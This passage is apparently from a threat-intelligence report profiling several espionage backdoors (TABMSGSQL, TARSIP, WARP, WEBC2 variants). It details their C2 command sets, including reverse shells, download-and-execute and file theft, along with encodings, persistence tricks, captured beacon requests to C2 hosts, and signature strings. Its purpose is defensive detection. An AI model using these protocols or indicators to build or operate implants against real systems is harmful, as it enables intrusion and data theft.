`debugmessage/dbgm`	Retrieve information from `tab_message` for the specified message.
`connect/con`	Sets the client ID for commands to be queued to
`quitz/quit`	Exits this program.
`upfile/uf`	Uploads a file to the C2 server, adding data to the `tab_file` table.
`downfile/df`	Download a file from the C2 server, retrieving data from the `tab_file` table.
`sleep`	Adds a `sleep` command entry to the `tab_message` table.
`getfile/gf`	Adds a `filectos` command entry to the `tab_message` table.
`putfile/pf`	Adds a `filestoc` command entry to the `tab_message` table.
`uninstall/remove`	Adds a `remove` command entry to the `tab_message` table.
`shell`	Adds a `shell` command entry to the `tab_message` table.
`exit`	Adds a `shell exit` command entry to the `tab_message` table.

Table 35: TABMSGSQL Administrative Mode Commands

Responses sent by the C2 server appear to be HTML – the client parses out HTML table elements to retrieve parameters. For example after executing a `listclients` command, the malware searches for the two strings "`<Td name1='clientname' name2='3'>`" and "`</Td>`" to delimit the client's hostname field.

Host-Based Signatures

- The malware copies %SYSTEMROOT%`\system32\cmd.exe` to %TEMP%`\rusinfo.exe` and executes this to create the shell. This file is deleted once the `rusinfo.exe` process ends.
- The malware creates the following mutex:
  - `letusgohtppmmv2.0.0.1`

Network-Based Signatures

- The malware uses the following User Agent:

    - `Mozilla/4.0 (compatible; )`
- Every HTTP URI generated by the malware will have the “rands=” URL parameter

Unique Strings

```
Content-Type: application/x-www-form-urlencoded
http
https
Mozilla/4.0 (compatible; )
Accept: */*
HTTP/1.0
POST
Content-Length: %d
%d:%s %d
Executable     = %s
windir
USERPROFILE
%s\%s
%s\%s
\*.*
PROXY_TYPE_DIRECT
PROXY_TYPE_PROXY:%s
PROXY_TYPE_AUTO_DETECT
PROXY_TYPE_AUTO_PROXY_URL:%s
InternetQueryOption failed! (%d)
%s\Local Settings\rusinfo.exe
\cmd.exe
CONIN$
CONOUT$
ComSpec
 >> NUL
/c del
%.4d
exit
Are you sure to FORMAT Disk C With NTFS?(Y/N)
letusgohtppmmv2.0.0.1
http://media.finanstalk.ru/images/db/1.asp
AAAAA
sleep
remove
filestoc
filectos
runfile
printf
killp
info
listp
reshell
shell
mname
%Y/%m/%d %X %z
<Td name1='messagename' name2='10'>
<Td name1='messagecontent' name2='9'>
<Td name1='messagepieceindex' name2='8'>
<Td name1='messagepiecelength' name2='7'>
<Td name1='messagetotallength' name2='6'>
<Td name1='encodenum' name2='5'>
<Td name1='toid' name2='4'>
<Td name1='fromid' name2='3'>
<Td name1='messageaction' name2='2'>
<Td name1='id' name2='1'>
</Td>
<Td name1='filecontent' name2='8'>
```

```
<Td name1='filehash' name2='7'>
<Td name1='filename' name2='6'>
<Td name1='filepieceindex' name2='5'>
<Td name1='filepiecelength' name2='4'>
<Td name1='filetotallength' name2='3'>
<Td name1='encodenum' name2='2'>
Cant open file!
piece %d not found error!
net error!
Down file ok!
%d/%d down!
select * from tab_file where filename='%s' and filepieceindex=%d
select top 1 * from tab_file where filename='%s' order by id asc
Send file ok!
%d/%d sent!
select id from tab_file where filename='%s' and filepieceindex=%d
file
select top 1 * from tab_message where toid = '%s' order by id asc
insert                                into                                tab_message
(messageaction,fromid,toid,encodenum,messagetotallength,messagepiecelength,messagepiec
eindex,messagecontent,messagename) values ('%s','%s','%s',%s,%s,%s,%s,'%s','%s')
insert                                 into                                  tab_file
(encodenum,filetotallength,filepiecelength,filepieceindex,filecontent,filename,filehas
h) values (%s,%s,%s,%s,'%s','%s','%s')
update tab_online set lasttime = '%s' where regcode = '%s'
insert into tab_online (mode,clientname,clientip,accessip,onlinetime,lasttime,regcode)
values ('%d','%s','%s','%s','%s','%s','%s')
select id from tab_online where regcode = '%s' order by id asc
%d-%02d-%02d %02d:%02d:%02d
acc ok
id="param1" size="100" value="
%s?%s
rands=%s&acc=%s&str=%s
str=%s
%s?rands=%s&acc=%s
id="param5" value="
id="param4" value="
?rands=
regcode:%s
<Td name1='regcode' name2='8'>
lasttime:%s
<Td name1='lasttime' name2='7'>
onlinetime:%s
<Td name1='onlinetime' name2='6'>
accessip:%s
<Td name1='accessip' name2='5'>
clientip:%s
<Td name1='clientip' name2='4'>
clientname:%s
<Td name1='clientname' name2='3'>
mode:%s
<Td name1='mode' name2='2'>
id:%s
select * from tab_online order by id asc
select * from tab_online where id=%s
delete from tab_online where id=%s
delete from tab_online
delete from tab_message where id=%s
delete from tab_message
delete from tab_file where filename='%s'
delete from tab_file
messagename:%s
messagepieceindex:%s
```

```
messagepiecelength:%s
messagetotallength:%s
encodenum:%s
toid:%s
%s->
fromid:%s
messageaction:%s
select * from tab_message order by id asc
select * from tab_message where id=%s
filelength:%s
filepiece:%s
<Td name1='filepieceindex' name2='4'>
filepiecelength:%s
<Td name1='filepiecelength' name2='3'>
filelength:%s
<Td name1='filetotallength' name2='2'>
filename:%s
<Td name1='filename' name2='1'>
select distinct filename,filetotallength from tab_file
select  filename,filetotallength,filepiecelength,filepieceindex  from  tab_file  where
filename='%s' order by id asc
exit
Command Error!
uninstall
putfile
getfile
Pls choose target first!
downfile
upfile
quit
quitz
connect
dbgm
debugmessage
dbgc
debugclient
dbgf
debugfile
delf
delfile
delm
delmessage
delc
delclient
listfiles
listmessages
listclients
enter
Alert!Pls press enter to make sure!
(info)%s->%s:%s
LegalCopyright
Microsoft Corporation. All rights reserved.
LegalTrademarks
OriginalFilename
httpmm.exe
PrivateBuild
ProductName
Microsoft Corporation httpmm
ProductVersion
5,1,2600,0
SpecialBuild
VarFileInfo
Translation
```

TARSIP – Malware Profile

Two distinct TARSIP variants have been observed, TARSIP-MOON, and TARSIP-ECLIPSE. These variant names are based on .pdb artifacts present in each variant:

```
E:\pjts2008\moon\Release\MoonDLL2.pdb
E:\pjts2008\moon\Release\MoonDll.pdb
E:\XiaoME\SunCloud-Code\moon1.5\Release\MoonDLL2.pdb

E:\pjts2008\Eclipse_A\Release\Eclipse_Client_B.pdb
E:\4xjq\Eclipse_A1.1\Release\Eclipse_Client_B.pdb
```

Figure 25: TARSIP .pdb Artifacts

TARSIP communicates using encoded configuration information hidden in HTTPS headers. It stores 3DES encrypted configuration information at the end of the file. In order to find the key used to encrypt/decrypt configuration data, as well as the configuration data length, the malware will search within itself for the byte string `0x1B345E2D203A6635`. The data format following this byte string is shown in Table 36.

Offset	Length	Description
0	8	Magic (0x1B345E2D203A6635)
8	4	Key size (limited to 0x40-bytes)
0xC	Varies	Key
varies	4	Configuration length (limited to 0x1000-bytes)
varies	Varies	Encrypted Configuration

```
<4 bytes – key size><3DES key><4 bytes – configuration data size><encrypted
configuration data>
```

Table 36: 3DES Encrypted Configuration Structure

A listing of all possible configuration options is shown in Table 37.

Configuration Option	Description
TAR	Target address of the C2 server
SIP	IP address check; if the target address resolves to this IP address the malware exits
MRK	Data that is used in the beacon packets to the C2 server
PXY	Proxy address
BPS	Appears to do nothing
TLS	Identifies whether the malware should use SSL
DIRECT	If this value is set, the malware does not perform the SIP check

Table 37: TARSIP Configuration Options (Highlighted options only present in TARSIP-ECLIPSE)

The malware performs a lookup for the TAR value. The TAR value can be a DNS name or an ASCII IP address. If the IP address returned by that lookup matches the value in SIP, the malware will sleep for 4 hours and try again.

TARSIP-MOON

The malware sends an initial beacon HTTP GET request (SSL encrypted) to /images/icons/<rand_1000_5999> where the URL parameter "inif" contains a single-byte XOR'd string that is Base64 encoded.

```
GET
/images/icons/2055?meth=gc&tid=2011506&cqe=3878658&inif=qKero9uLh4iCj4eIksvQ1ILS0IfAp6
KitNvX0dTI19DI19HWyNfU38Crp7St26ClvsiFiYvAqbW229PI18CuorWo29SF0d8=&syun=230 HTTP/1.1
UA-CPU: x86
Accept:
text/html;q=0.9,text/plain;q=0.8,application/xhtml+xml;q=0.7,image/gif;q=0.5,*/*;q=0.1
Accept-Language: en-us
Accept-Encoding: gzip;q=0.8, deflate;q=0.5
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR
1.1.4322; .NET CLR 2.0.50727)
Host: <hostname>
```

Figure 26: TARSIP-MOON Initial GET Request

The "syun" URL parameter will contain the XOR byte used to encode the "inif" value. The decoded data contains:

```
NAME=<HOSTNAME&ADDR=<A.B.C.D>&MARK=<CONFIGVALUE>&OSP=<OSMAJOR.MINORVER>&HDSN=<RAND_0_4
99999>
```

Figure 27: TARSIP-MOON Decoded Configuration Information

The response data is base64 decoded, then de-obfuscated using a custom routine. Once decoded, the malware looks for a command in the format "meth=<CMD>".
The malware supports the following commands:

Function	Command	Description	Parameters
List processes	PL	Process listing	
Kill processes	PK	Process termination using PID or name	Ji=_PID_OR_NAME_

File upload	PF	Put file	Mu=_FILENAME_
			Sh=_FILESIZE_

File download	GF	Get file	Ji=_FILENAME_
			Sh=_FILESIZE_

Interactive command shell	CM	Reverse shell	
Interactive command shell	SC	Shell command (passed to CM created reverse shell)	Ji=_CMD_
Sleep	SL	Sleep	Ji=_FLOAT_
	PR	Not implemented	

Create processes	RU	RunAs	Ji=_USERNAME_
			Mu=_PASSWORD_
			Sh=_DOMAIN_
			Hu=_COMMAND_

Enumerate files	ECM	Get current directory	
Create processes	ESC	Execute shell command	Ji=_CMD_

Create processes	EX	Execute encrypted command (if Mu is "-yh", XOR file with 0x9D before executing)	Ji=_CMD_
			Mu=_DECRYPT_

Download file [from specified URL]	UD	URL download	Ji=_URL_
			Mu=_PATH_

Table 38: TARSIP-MOON functionality

The malware will respond with certain HTTP requests and URIs depending on the command, as depicted in Table 39.

Command	Type	URI	Data
PL	POST	/bin/cgi/rep.php	0x9D xor'd
PK	GET	/images/icons/<rand_1000_5999>	&wdsj=_B64_WZENCODED_
PF	GET	/images/logo/translate_logo.gif	contains "Cookie" HTTP header
GF	POST	/bin/cgi/poft.php	0x9D xor'd contains "Cookie" HTTP header
CM	POST GET	POST /bin/cgi/ccmd.php /bin/cgi/cnnd.php GET /dc/launch /images/icons/<rand_1000_5999>	POST are 0x9D xor'd
SC	POST GET	POST /bin/cgi/ccmd.php /bin/cgi/cnnd.php GET /dc/launch /images/icons/<rand_1000_5999>	POST are 0x9D xor'd
SL	N/A	N/A	N/A
PR	NA	N/A	N/A
RU	GET	/images/icons/<rand_1000_5999>	&wdsj=_B64_WZENCODED_
ECM	POST	/bin/onec/onec.php	0x9D xor'd Content Type: x-www-form-urlencoded
ESC	POST	/bin/onec/onec.php	0x9D xor'd Content Type: x-www-form-urlencoded
EX	GET	/images/icons/<rand_1000_5999>	&wdsj=_B64_WZENCODED_
UD	GET	/images/icons/<rand_1000_5999>	&wdsj=_B64_WZENCODED_

Table 39: TARSIP-MOON Command to URL Mapping

Persistence Mechanism

- TARSIP-MOON may use DLL load order for persistence by placing a properly named DLL of itself in %WINDIR% and not the normal %WINDIR%\System32

Host-Based Signatures

- TARSIP-MOON may copy %SYSTEMROOT%\system32\cmd.exe to %SYSTEMROOT%\system32\msdev.exe when it is instructed to start a reverse shell. It performs a case-insensitive search for "microsoft corp." and replaces it with "Kugoosoft corp."

Network-Based Signatures

- The malware uses a HTTP User-Agent string of the following format:
  - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

Unique Strings

```
<program name unknown>
0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz<|>~
&54phoenix@#$
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
```

```
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR
2.0.50727)
URL download success!
URL download failed!!
NAME
ADDR
MARK
%d.%d
HDSN
meth
wdsj
inif
syun
/images/icons/
UA-CPU
text/html;q=0.9,text/plain;q=0.8,application/xhtml+xml;q=0.7,image/gif;q=0.5,*/*;q=0.1
Accept
en-us
Accept-Language
gzip;q=0.8, deflate;q=0.5
Accept-Encoding
%s?%s
%s/%s?%s
ARPT
TSDE
The client does not support the Command !
rep.php
/bin/cgi
POST
application/x-www-form-urlencoded
Content-Type
Kill Success!
Kill Failed!
Can not create file on client!
Serverfile is smaller than Clientfile!
Can not open file on client with append mode!
VAL1
VAL2
__utmz%3D173272373
HSID
suyn
s.GB
translate_logo.gif
/images/logo
Cookie
Can not open file on client!
ClientFile is smaller than ServerFile!
poft.php
multipart/form-data; boundary=---------------------------716ea2d405fc
\cmd.exe
\msdev.exe
Copy file failed! Error code is:
Modify file failed!! So strange!!!
Create cmd process failed!
Shell is not exist or stopped!
exit
onec.php
/bin/onec
cmd.exe /c
The command has not been implemented!
Runas success!
Runas failed!
Can not open file!
Can not xo file!
Create process success!!
Create process failed!
Fail to start download thread!!
ccmd.php
cnnd.php
cnnd
/dc/launch
map/set<T> too long
invalid map/set<T> iterator
%-24s
%s\%s
NtQuerySystemInformation
ntdll.dll
SeDebugPrivilege
HTTP/1.1
%s: %s
RSDS
E:\XiaoME\SunCloud-Code\moon1.5\Release\MoonDLL2.pdb
microsoft corp.
Kugoosoft corp.
```

TARSIP-ECLIPSE

The TARSIP-ECLIPSE backdoor communicates with the C2 server over SSL on port 443 even if the TLS option is not set. Once an SSL session has been established with the server, the malware will make a GET request in the form shown below in Figure 28.

To make the GET request the malware will choose a random URI from the following list:

- `/blg7_8newtpl/image/7/7_12/images/redir?`
- `/widget/widgets/wgt_static/flink?`
- `/s/lcms_/IDD/t/c.gif?`
- `/status/MutiqueryVP/main?`
- `/api/get_attention_num/adfshow?`
- `/uc/myshow/blog/misc/gif/show.asp?`
- `/A2/front/lm/mini/noborder/?`
- `/sub/cgi-bin/gmes?`
- `/sheq/por/blomofun/bord.aspx?`
- `/combo.action/bin/load.swf?`
- `/pp/core/cgi/wor.asp?`
- `/loa/database3/sun.html?`

```
GET /blg7_8newtpl/image/7/7_12/images/redir?di=130b51e7dc7&prd=bEFU&pver=131&j=1&ck=0
HTTP/1.1
UA-CPU: x86
Accept:
text/html;q=0.9,text/plain;q=0.8,application/xhtml+xml;q=0.7,image/gif;q=0.5,*/*;q=0.1
Accept-Language: en-us
Accept-Encoding: gzip;q=0.8, deflate;q=0.5
Cookie: CLIP=<encoded host information>
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: <C2 server address>
Cache-Control: no-cache
```

Figure 28: TARSIP-ECLIPSE GET Request

The data following `Cookie: CLIP=` contains host information that is encoded with a custom encoding algorithm. The format of the decoded host information is shown in Figure 29.

```
NAME=<hostname of infected machine>&ADDR=<TAR address>&MARK=<MRK value>&OSV=<operating
system version>&HDSN=<6 byte sequence number>&dummy=<dummy value>
```

Figure 29: Cookie/CLIP data format

The malware receives encoded commands from the C2 server in response to its GET requests. A list of commands that the malware understands is shown in Table 40 below.

Function	Command	Description
List processes	`ct=pl`	Process listing
Kill processes	`ct=pk;J=<pid>`	Kill process indicated by J
File download	`ct=pf;J=<client_file_dest>; M=<server_file_name>;S=<filesize>`	File download
File upload	`ct=gf;J=<client_file_name>; M=<server_file_name>;S=<filesize>`	File upload
Create processes	`ct=ra;J=<username>;M=<user_password>; S=<user_domain>;H=<command>`	Run process as indicated user
Download file [from specified	`ct=ud;J=<url>;M=<filename>`	Download URL indicated by J and

URL]		write to file M
Create processes	ct=ex;J=<command>	Execute command J
	ct=sex	Unimplemented command that would have been used to handle service execution
Interactive command shell	ct=ss	Start interactive command shell
Interactive command shell	ct=she;cl=<command>	Execute command on previously opened command shell
Enumerate files	ct=sos	Return current directory of the malware
Interactive command shell	ct=oshe;cl=<command>	Opens a shell and executes the command indicated by cl
	ct=srss	Opens the named pipe \\.\pipe\ssnp
	ct=rsse;cl=<command>	Write to the named pipe \\.\pipe\ssnp
Set sleep interval	ct=sl;J=<sleep_time>	Sleep for J minutes
Set sleep interval	ct=hib;J=<year>;M=<month>;S=<day>;H=<hour>	Write when to resume activity to %CURRENTDIRECTORY%\toobu.ini in the format of: [ECLIPSEC] WAKPDT=<date>

Table 40: TARSIP-ECLIPSE functionality

The data sent back to the server in response to the commands is sent back in POST messages.

Host-Based Signatures

- The malware may create the file %CURRENTDIRECTORY%\toobu.ini which will contain data in the format shown below. That data is used to have the malware sleep until a certain date and time:

```
[ECLIPSEC]
WAKPDT=<date or the string "default">
```

- The malware may open a handle to a named pipe:
  - o \\.\pipe\ssnp

Network-Based Signatures

- The malware uses a HTTP User-Agent string of the following format:
  - o Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

Unique Strings

```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
&54phoenix@#$
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727;
.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
UA-CPU
text/html;q=0.9,text/plain;q=0.8,application/xhtml+xml;q=0.7,image/gif;q=0.5,*/*;q=0.1
Accept
en-us
Accept-Language
gzip;q=0.8, deflate;q=0.5
Accept-Encoding
CLIP
```

```
STCD
PIGG
Cookie
dummy
MUID
Get file from server canceled for : Response status code:%d
/uc_server/data/forum.asp
POST
multipart/form-data; boundary=---------------------------7d6ea2d405fc
Content-Type
URL download success!
URL download failed with error code : %d
NAME
ADDR
MARK
%d.%d
HDSN
DUMMY
serv
/classic/acount/image/addr_member.asp
Write file error!
oshe
srss
rsse
Client does not support this command!
Kill process success!
Kill process failed!
Can not create file on client
Serverfile is not bigger than Clientfile!
Can not open file on client
Clientfile is not bigger than Serverfile
Runas Success!
Runas failed
Exec Success!
Exec failed!
Service exec have not been implemented
toobu.ini
ECLIPSEC
WAKPDT
Recover date has been set, look up toobu.ini for checking
Fail to start download thread
\cmd.exe
Create cmd shell failed
Can not get current directory
\\.\pipe\ssnp
Create named pipe failed
Wait named pipe connect time out
Failed to write named pipe with error code : %d
Connect named pipe error:%d
exit
cmd.exe /c
DIRECT
Default
HTTP/1.0
%s: %s
RSDS<=
E:\4xjq\Eclipse_
A1.1\Release\Eclipse_Client_B.pdb
/blg7_8newtpl/image/7/7_12/images/
/widget/widgets/wgt_static/
/s/lcms_/IDD/t/
/status/MutiqueryVP/
/api/get_attention_num/
```

```
/uc/myshow/blog/misc/gif/
/A2/front/lm/mini/noborder/
/sub/cgi-bin/
/sheq/por/blomofun/
/combo.action/bin/
/pp/core/cgi/
/loa/database3/
redir?
pver
di=130b51e7dc7&prd=%s&pver=%s&j=1&ck=0
flink?
linkd
clci
blac
ppds
user=AFP6_for_SIN&linkd=%s&db=sin&clci=%s&local=yes
c.gif?
rnd=32906&di=%s&cg=0&pi=%s&cd=32&ct=bm
main?
loal
CI=cpu:x86|pf:Win32&usr=%s&PI=st:12|et:1&loal=%s&EX=ex1
adfshow?
slot
slot=%s&p=F&may=%s&g=4363&n=0&i=Home
show.asp?
a=%s&u=n5vec&b=%s&n=0&wt=30q00dn00ei76hc9
AQB=1&t=480&lv=%s&ss=%s&g=Council&tal=AQE
gmes?
utms=5&jac=%s&que=%s&utmsc=32-bit&utmje=1
bord.aspx?
yoyo
sofe
di=4345&ski=%s&tm=CLB&yoyo=%s&new=1&color=32
load.swf?
rsi1=90&sor=%s&cad=1&nor=%s&aurl=&fv=10&c01=0&tu=u29
wor.asp?
amer
category=qiu&ace=%s&newText=&amer=%s&eur=&mm=love
sun.html?
pagei
form
guid
typ=%s&user=homepage_2nd&pagei=%s&local=yes&h=&i=100
```

WARP – Malware Profile

WARP is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp.

The initial GET request contains beacon data describing the compromised host, including the volume serial number, system uptime, host IP address, OS version, and hostname. This information is encrypted using an RC4-like algorithm and then Base64 encoded.

After establishing a connection, the malware will check for the "image/gif" HTTP header returned by the command and control server before parsing the response. The downloaded data is decrypted using the same RC4-like algorithm. The malware receives a command byte and any additional arguments to activate the following capabilities: create a directory listing, file upload/download, execute remote command, and system survey. The system survey functionality is taken directly from BO2K.

When executing remote commands, the malware creates a copy of the "%SYSTEMROOT%\system32\cmd.exe" file as "%USERPROFILE%\Temp\~ISUN32.EXE". The version signature information of the duplicate executable is zeroed out.
Network communications are not encrypted (e.g. SSL), however the data exchanged between host and server is encrypted using an RC4-like algorithm.

Function	Additional Description
Create/kill/list processes	
Create/modify files	
File upload/download	
Gather system information	Functionality copied from B02K; includes hostname, current user, system uptime, process ID, CPU architecture and clock speed, OS version, memory usage, and disk usage.

Table 41: WARP functionality

Host-Based Signatures

- The malware may create of copy of cmd.exe as %USERPROFILE%\Temp\~ISUN32.EXE

Network-Based Signatures

- The malware uses the following HTTP User Agent string:
  - Mozilla/4.0 (compatible;)
- The malware sends HTTP GET and POST commands containing with the following string:
  - /s/asp?<base64_data>p=1

Unique Strings

```
image/gif
Mozilla/4.0 (compatible; )
/s/asp?
%u.%u.%u.%u
http://
Unknown type!
Ramdisk
 Bytes free: %u MB(%s)/%u MB(%s)
CD-ROM
```

```
Remote
Fixed
Removable
Unable to determine.
%c:\
Memory: %dM in use: %d%%  Page file: %dM free: %dM
Microsoft Win32s
Windows ME
Windows 98
OSR2
Windows 95
%s %s (Build %d)
%s Version %d.%d %s (Build %d)
 Advanced Server
SERVERNT
LANMANNT
WINNT
ProductType
SYSTEM\CurrentControlSet\Control\ProductOptions
 Server
 DataCenter Server
 Professional
 Personal
Windows XP
Windows 2000
Windows NT 4
Could not get version info.
CPU Speed: %d.%d MHz
MIPSR4000
UNKNOWN
I586
I386
I486
Processor:
Current Process id is %d
Start time %d day,%d hours,%d min,%d sec
Current user: '
System info for machine '
avp.exe
\cmd.exe
%USERPROFILE%\Temp\~ISUN32.EXE
\~ISUN32.EXE
%USERPROFILE%\Temp
%SystemRoot%\System32\cmd.exe
  !!""##$$%%&&''(())**++,,--..//0123456789:;<=>?
Content-Type: multipart/form-data; boundary=--MULTI-PARTS-FORM-DATA-BOUNDARY
Content-Type: application/x-www-form-urlencoded
http
https
.PAX
.PAD
unknown exception...
open internet failed...
connect failed...
handle not opened...
request failed...
add cookie failed...
https://
additional header failed...
Accept: */*
HTTP/1.0
POST
--%s
```

```
Content-Disposition: form-data; name="%s"
--%s
Content-Disposition: form-data; name="%s"; filename="%s"
request failed
Content-Length: %d
--MULTI-PARTS-FORM-DATA-BOUNDARY
query cookie failed...
query content-length failed...
query content-type failed...
response failed...
connection failed...
%c:\
%2.2d-%2.2d-%4.4d %2.2d:%2.2d
-------
My Computer
```

WEBC2 – Malware Profile

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Older versions of WEBC2 read data between HTML comments, though over time WEBC2 variants have evolved to read data contained within other types of tags.

WEBC2-AUSOV

WEBC2-AUSOV is a downloader that looks for HTML comments in this format:

```
<!-- DOCHTML command -->
```

Figure 30: WEBC2-AUSOV command tag

Function	Command	Description
Exit	Ausov	Causes the malware to terminate
Set sleep interval	Author *#*	Sleep for *#* * 10 Minutes
Download and execute file [from specified URL]	http://*<url>*	Download, decompress and execute the file pointed to by *<url>*

Table 42: WEBC2-AUSOV functionality

Persistence Mechanism

- WEBC2-AUSOV may persist using DLL search order hijacking. The DLL file is typically copied to %SYSTEMROOT% (C:\WINDOWS\ntshrui.dll).

Network-Based Signatures

- The malware has been observed with the following User-Agent string:
  - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
- The malware's commands are embedded in HTML identified by the string
  - <!-- DOCHTML

Unique Strings

```
2oMXKNNC
AMORCVK@NG
oqkg
uKLFMUQ
BOO\f
YLLUUMQQ[MRPQM[L
ntshrui.dll
%SystemRoot%\System32\
CompanyName
Microsoft Corporation
FileDescription
Shell extensions for sharing
FileVersion
5.1.2600.5512 (xpsp.080413-2105)
InternalName
ntshrui
LegalCopyright
(C) Microsoft Corporation. All rights reserved.
OriginalFilename
ntshrui.dll
ProductName
Microsoft(R) Windows(R) Operating System
```

```
ProductVersion
5.1.2600.5512
VarFileInfo
Translation
```

The following strings may be obfuscated within the binary:

```
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
http://
Author
Ausov
-->
<!--DOCHTML
Exe
```

WEBC2-ADSPACE

Once executed WEBC2-ADSPACE will attempt to connect to the C2 server at a specified time. If it cannot contact the server, or the returned HTML contains the string `!FALSE`, it will try again 16 minutes later, so long as the time is not outside the bounds of a predetermined period (e.g. Thursdays after 10 am). Otherwise it looks for commands embedded within the tags `<!---HEADER ADSPACE style="<id>"` and `$-->`, where `<id>` is either the name of the computer or the string `everyone`.

```
<!===HEADER ADSPACE style="<computer_name>" src= <URL>/<executable_name>.exe \script
height= <number> \text $-->
```

```
<!===HEADER ADSPACE style="everyone" src= <URL>/<executable_name>.exe \script height=
<number> \text $-->
```

Figure 31: WEBC2-ADSPACE command tags

WEBC2-ADSPACE accepts the following commands:

Function	Command	Description
Download and execute file [from specified URL]	`src=<url>\script`	Download the given *<url>* to the *%SYSTEMROOT%*\tasks directory, substituting .exe for the extension in the URL (e.g., save to `foo.exe` when downloading `foo.jpg`). After downloading, the first 0x50 (80) bytes of the file are discarded and the rest are deobfuscated by XOR-ing each byte with the value 0x12. Once debofuscated, the file is saved to disk and executed.
Set sleep interval	`height=<hours>\text`	Wait *<hours>* hours before attempting to connect-out again

Table 43: WEBC2-ADSPACE functionality

Persistence Mechanism

- The malware replaces the `Service DLL` for the ERSvc service to point to `%SYSTEMROOT%\system\ersvc.dll`.
    - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ERSvc\Parameters\ServiceDll:`
        - Value: `%SYSTEMROOT%\system\ersvc.dll`

Host-Based Signatures

- The malware will download files to the *%SYSTEMROOT%*`\tasks` directory.

Network-Based Signatures

- The malware will make HTTP requests with the User-Agent string set to the hostname of the compromised system
- The malware's commands are embedded in HTML identified by the string `<!---HEADER ADSPACE style="`

Unique Strings

```
svchostdll.dll
Mcdl
ProceA
ServiceMain
```

```
!FALSE
open
\tasks\
exe
\text
height=
\script
src=
$-->
<!---HEADER ADSPACE style="everyone"
<!---HEADER ADSPACE style="%s"
Microsoft Corporation
Windows Error Reporting Service
5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)
ERSVC.DLL
Microsoft Corporation. All rights reserved.
Windows
 Operating System
5.1.2600.2180
```

WEBC2-BOLID

WEBC2-BOLID will perform a GET request in the following format:

```
GET /firefox.html HTTP/1.1
Accept: */*
User-Agent:  Mozilla/4.0  (compatible;  MSIE  6.0;  Windows  NT  5.1;  SV1;  .NET  CLR
2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729)
Host: <hostname>
Connection: Keep-Alive
```

Figure 32: WEBC2-BOLID HTTP GET request

In response, the C2 server sends encoded commands between <head> and </head> HTML tags. The encoded commands are XORed with 0x42 and then Base64 encoded.

After a command is decoded, it expects one of the commands shown in Table 44.

Function	Command	Description
File download / Create processes	`download:`	Downloads file data to %CD% and then executes it.
File download / Create processes	`downloadcopy:`	Downloads file data to %CD%, copies it to a new directory inside %CD% (where the name is a random number between 0 and 9999), and then executes it.
Update C2 config	`geturl:`	Updates the C2 URL
Set sleep interval	`sleep:`	Sleeps the specified number of minutes.

Table 44: WEBC2-BOLID functionality

If the command received is `download:` or `downloadcopy:`, the malware attempts to extract an encoded filename from data between the HTML tags `<title>` and `<\title>`. If no filename is provided, the malware downloads the file to ntdll.exe in the current directory.

The data that is to be written to the file is stored encoded between the HTML tags <body> and <\body>. If the command is `downloadcopy:`, the file is then copied to a new directory inside the current directory where the name is a random number between `0` and `9999`. The resulting file is then executed.

Persistence Mechanism

- The malware installs itself into the current user's run key in the following registry location:
  - `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\load`

Host-Based Signatures

- The malware may download files to its current directory or a randomly numbered subdirectory. The downloaded filename may be `ntdll.exe` unless otherwise directed by the C2 server.

Network-Based Signatures

- The malware uses the following HTTP User-Agent string:
  - `Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)`
- C2 network communications are encoded using Base64 and are frequently XORed with the byte `0x42`.

Unique Strings

```
VMProtect begin
VMProtect end
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR
3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
utf-8
POST
http://[c2_location]/[page].htmlEEEEEEEEEEEEEEEEEEEEEEEEEEEEsleep:
downloadcopy:
download:
geturl:
</head>
<head>
EEEEEEEE
Q3JlYXRlUHJvY2Vzc0E=
</body>
<body>
</title>
<title>
Software\Microsoft\Windows\CurrentVersion\Run
load
```

WEBC2-CLOVER

WEBC2-CLOVER will perform a GET request in the following format:

```
GET /Default.asp HTTP/1.1
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Win32)
Host: 209.161.249.125
Connection: Keep-Alive
Cookie: PREF=86845632017245
```

Figure 33: Sample WEBC2-CLOVER Initial GET Request

